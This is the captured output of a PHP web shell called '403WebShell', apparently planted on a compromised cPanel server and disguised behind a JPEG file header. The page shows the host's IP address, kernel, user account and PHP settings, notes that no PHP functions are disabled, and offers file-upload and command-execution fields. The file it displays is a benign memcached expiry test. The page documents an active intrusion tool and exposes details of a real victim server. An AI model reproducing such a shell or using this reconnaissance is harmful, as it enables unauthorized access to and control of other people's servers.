����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 3.148.192.125
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/cpanel/ea-php80/root/usr/share/tests/pecl/memcached/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/cpanel/ea-php80/root/usr/share/tests/pecl/memcached/tests/expire.phpt
--TEST--
Memcached store, fetch & touch expired key
--SKIPIF--
<?php
$min_version = "1.4.8";
include dirname(__FILE__) . "/skipif.inc";
if (!method_exists("memcached", "touch")) die ("skip memcached::touch is not available");
if (getenv("SKIP_SLOW_TESTS")) die('skip slow test');
?>
--FILE--
<?php

include dirname (__FILE__) . '/config.inc';

function run_expiry_test ($m) {
	
	$key = uniqid ('will_expire_');
	
	$set = $m->set($key, "foo", 2);
	$v = $m->get($key);
	if (!$set || $v != 'foo') {
		echo "Error setting key to \"foo\" with 2s expiry.\n";
		return;
	}

	sleep(1);
	$res = $m->touch($key, 2);
	$v = $m->get($key);

	if(!$res || $v != 'foo') {
		echo "Error touching key for another 2s expiry.\n";
		var_dump($res);
		var_dump($m->getResultMessage());
		var_dump($v);
		return;
	}

	sleep(3);
	$v = $m->get($key);

	if ($v !== Memcached::GET_ERROR_RETURN_VALUE) {
		echo "Wanted:\n";
		var_dump(Memcached::GET_ERROR_RETURN_VALUE);
		echo "from get of expired value. Got:\n";
		var_dump($v);
		return;
	}
	echo "All OK" . PHP_EOL;
}

$m = memc_get_instance (array (
							Memcached::OPT_BINARY_PROTOCOL => true
						));

echo '-- binary protocol' . PHP_EOL;
run_expiry_test ($m);

$m = memc_get_instance ();

echo '-- text protocol' . PHP_EOL;
run_expiry_test ($m);

echo "DONE TEST\n";
?>
--EXPECT--
-- binary protocol
All OK
-- text protocol
All OK
DONE TEST

Youez - 2016 - github.com/yon3zu
LinuXploit